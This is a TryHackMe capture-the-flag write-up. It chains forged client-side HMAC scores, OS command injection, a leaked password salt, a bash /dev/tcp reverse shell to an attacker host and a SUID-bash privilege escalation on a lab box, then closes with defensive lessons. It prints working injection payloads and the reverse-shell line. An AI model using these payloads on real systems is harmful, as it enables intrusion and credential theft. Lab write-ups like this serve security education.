December 3, 2026
TryHackMe: SQ1 โ The Unwinnable Game (Writeup)
Category: Boot2Root | Difficulty: Easy | Points: 60

By DarkRX
3 min read
TL;DR
A "rigged" minigame validates wins using a secret key that's shipped to the browser. Forging that signature opens a vault with a command-injection vulnerable "file recovery" feature, which leads to a user foothold, a leaked password-derivation secret in a code comment, a lateral move to a second user, and finally a classic "root blindly executes anything dropped in this folder" privesc.
Step 1: Recon
nmap -sV <TARGET_IP>nmap -sV <TARGET_IP>Output:
22/tcp open ssh OpenSSH 9.6p1 (Ubuntu)
31337/tcp open Elite? (fingerprinted as Flask/Werkzeug)22/tcp open ssh OpenSSH 9.6p1 (Ubuntu)
31337/tcp open Elite? (fingerprinted as Flask/Werkzeug)Port 31337 (very "1337," very subtle) hosts a Flask web app โ the "Yeti's Ransom Portal." Browse to it:
http://<TARGET_IP>:31337/http://<TARGET_IP>:31337/You're met with a click-the-Yeti whack-a-mole minigame and a claim that nobody has ever beaten it in five years. Narrator: someone was about to beat it in five minutes.
Step 2: Forge a winning game score
The page loads two scripts:
<script src="/static/sha256.js"></script>
<script src="/static/game.js"></script><script src="/static/sha256.js"></script>
<script src="/static/game.js"></script>Pull them down:
curl http://<TARGET_IP>:31337/static/game.js
curl http://<TARGET_IP>:31337/static/sha256.jscurl http://<TARGET_IP>:31337/static/game.js
curl http://<TARGET_IP>:31337/static/sha256.jsgame.js shows the win condition is "secured" with an HMAC, but the secret key is hardcoded right there in client-side JS:
const SCORE_SECRET = "yeti-loves-round-numbers";
async function submitScore(finalScore) {
const sig = hmacSha256Hex(SCORE_SECRET, String(finalScore));
const res = await fetch("/api/score", {
method: "POST",
body: JSON.stringify({ score: finalScore, sig }),
});
}const SCORE_SECRET = "yeti-loves-round-numbers";
async function submitScore(finalScore) {
const sig = hmacSha256Hex(SCORE_SECRET, String(finalScore));
const res = await fetch("/api/score", {
method: "POST",
body: JSON.stringify({ score: finalScore, sig }),
});
}sha256.js confirms it's a standard HMAC-SHA256(key, message) โ which matches OpenSSL's -hmac flag exactly. You don't need to play the game at all.
Forge a winning submission:
SCORE=99999
SECRET="yeti-loves-round-numbers"
SIG=$(echo -n "$SCORE" | openssl dgst -sha256 -hmac "$SECRET" | awk '{print $2}')
curl -s -c cookies.txt -X POST "http://<TARGET_IP>:31337/api/score" \
-H "Content-Type: application/json" \
-d "{\"score\": $SCORE, \"sig\": \"$SIG\"}"SCORE=99999
SECRET="yeti-loves-round-numbers"
SIG=$(echo -n "$SCORE" | openssl dgst -sha256 -hmac "$SECRET" | awk '{print $2}')
curl -s -c cookies.txt -X POST "http://<TARGET_IP>:31337/api/score" \
-H "Content-Type: application/json" \
-d "{\"score\": $SCORE, \"sig\": \"$SIG\"}"Response:
{"message":"That's... not supposed to happen.","ok":true,"won":true}{"message":"That's... not supposed to happen.","ok":true,"won":true}This also sets a session cookie (-c cookies.txt), which you need for the next step.
Retrieve the vault with the saved cookie:
curl -s -b cookies.txt http://<TARGET_IP>:31337/vaultcurl -s -b cookies.txt http://<TARGET_IP>:31337/vaultFlag 1 is in the response.
Step 3: Exploit command injection in the "recover files" feature
The vault page has a form that recovers files for a named "household." Pull its JS:
curl -s -b cookies.txt http://<TARGET_IP>:31337/static/vault.jscurl -s -b cookies.txt http://<TARGET_IP>:31337/static/vault.jsIt just POSTs the raw input to /api/recover:
const res = await fetch("/api/recover", {
method: "POST",
body: "household=" + encodeURIComponent(household),
});const res = await fetch("/api/recover", {
method: "POST",
body: "household=" + encodeURIComponent(household),
});Test baseline behavior:
curl -s -b cookies.txt -X POST http://<TARGET_IP>:31337/api/recover \
-d "household=creekside_inn"curl -s -b cookies.txt -X POST http://<TARGET_IP>:31337/api/recover \
-d "household=creekside_inn"Test for injection by appending a shell command:
curl -s -b cookies.txt -X POST http://<TARGET_IP>:31337/api/recover \
--data-urlencode "household=creekside_inn; id"curl -s -b cookies.txt -X POST http://<TARGET_IP>:31337/api/recover \
--data-urlencode "household=creekside_inn; id"The output includes the result of id โ confirmed OS command injection, running as a low-privilege user (we'll call them "relay" below, since that matches the box).
Grab the foothold flag:
curl -s -b cookies.txt -X POST http://<TARGET_IP>:31337/api/recover \
--data-urlencode "household=creekside_inn; cat /home/relay/user.txt"curl -s -b cookies.txt -X POST http://<TARGET_IP>:31337/api/recover \
--data-urlencode "household=creekside_inn; cat /home/relay/user.txt"Flag 2 is in the response.
Step 4: Enumerate via the injection โ find the next secret
Check bash history for clues the previous session left behind:
curl -s -b cookies.txt -X POST http://<TARGET_IP>:31337/api/recover \
--data-urlencode "household=creekside_inn; cat /home/relay/.bash_history"curl -s -b cookies.txt -X POST http://<TARGET_IP>:31337/api/recover \
--data-urlencode "household=creekside_inn; cat /home/relay/.bash_history"This reveals a directory of interest (/opt/cypher-stream) containing a keygen.py script and a flag file. Read them:
curl -s -b cookies.txt -X POST http://<TARGET_IP>:31337/api/recover \
--data-urlencode "household=creekside_inn; cat /opt/cypher-stream/flag_enum.txt; cat /opt/cypher-stream/keygen.py"curl -s -b cookies.txt -X POST http://<TARGET_IP>:31337/api/recover \
--data-urlencode "household=creekside_inn; cat /opt/cypher-stream/flag_enum.txt; cat /opt/cypher-stream/keygen.py"Flag 3 comes from flag_enum.txt.
keygen.py reveals a second user's password is derived deterministically:
ROTATION_SALT = "ransommit-cypher-2026"
def operator_password() -> str:
hostname = socket.gethostname()
digest = hashlib.sha256((hostname + ROTATION_SALT).encode()).hexdigest()
return digest[:16]ROTATION_SALT = "ransommit-cypher-2026"
def operator_password() -> str:
hostname = socket.gethostname()
digest = hashlib.sha256((hostname + ROTATION_SALT).encode()).hexdigest()
return digest[:16]The salt is sitting right in a code comment above the line that tells you not to leak it. Classic.
Step 5: Compute the password and pivot to a second user
Get the hostname and run the same derivation through the injection:
curl -s -b cookies.txt -X POST http://<TARGET_IP>:31337/api/recover \
--data-urlencode "household=creekside_inn; hostname; python3 /opt/cypher-stream/keygen.py"curl -s -b cookies.txt -X POST http://<TARGET_IP>:31337/api/recover \
--data-urlencode "household=creekside_inn; hostname; python3 /opt/cypher-stream/keygen.py"This gives you the hostname and the computed password in one shot.
The injection endpoint is one-shot โ no persistent shell โ so get a reverse shell for an interactive session.
Start a listener on your attack box:
nc -lvnp 4444nc -lvnp 4444Trigger the reverse shell through the injection:
curl -s -b cookies.txt -X POST http://<TARGET_IP>:31337/api/recover \
--data-urlencode "household=creekside_inn; bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"curl -s -b cookies.txt -X POST http://<TARGET_IP>:31337/api/recover \
--data-urlencode "household=creekside_inn; bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"Once the shell lands on your listener, switch users with the password you computed:
su operatorsu operatorA README in the home directory explains the next step: this account has no sudo, but anything dropped into a maintenance/ folder gets picked up and run as root within seconds.
Flag 4 is sitting in this user's home directory.
Step 6: Privesc via the maintenance watcher
Check permissions:
ls -la /home/operator/maintenancels -la /home/operator/maintenanceIt's writable. Something else โ a root-owned process โ is watching this folder and executing anything placed inside it. Classic unsafe automation.
Drop a payload that makes a SUID root copy of bash:
printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod u+s /tmp/rootbash\n' > /home/operator/maintenance/fix.sh
chmod +x /home/operator/maintenance/fix.sh
sleep 10
ls -la /tmp/rootbashprintf '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod u+s /tmp/rootbash\n' > /home/operator/maintenance/fix.sh
chmod +x /home/operator/maintenance/fix.sh
sleep 10
ls -la /tmp/rootbashAfter a few seconds, check again:
-rwsr-xr-x 1 root root 1446024 <date> /tmp/rootbash-rwsr-xr-x 1 root root 1446024 <date> /tmp/rootbashThat s is the SUID bit โ the watcher ran your script as root.
Spawn a privileged shell:
/tmp/rootbash -p
whoami
id
root
uid=1002(operator) gid=37(operator) euid=0(root) groups=37(operator)/tmp/rootbash -p
whoami
id
root
uid=1002(operator) gid=37(operator) euid=0(root) groups=37(operator)You're root.
Flag 5 is in /root.
Summary of the attack chain
- Client-side trust โ game score validated with a secret key shipped to the browser โ forge any score.
- Command injection โ "recover files" feature passes user input straight into a shell command โ RCE as a low-priv user.
- Secrets in source โ password-derivation salt hardcoded and commented in a readable script.
- Deterministic secrets โ password = hash(hostname + known salt) โ trivially recomputed.
- Unsafe automation โ a root-run watcher executes anything dropped into a user-writable directory โ SUID privesc.
Each step is its own well-known vulnerability class. Chained together, they take you from an anonymous web request to root with nothing but curl, openssl, and a netcat listener.
Lessons:
- Never validate anything security-relevant on the client โ the client is fully controlled by the attacker.
- Never pass unsanitized user input into shell commands.
- Don't hardcode secrets in source, especially not right next to a comment telling you not to.
- Deterministic "secrets" derived from public info (hostnames, usernames) aren't secrets.
- A privileged process that blindly executes files from a lower-privileged user's writable directory is a privilege escalation vector by design.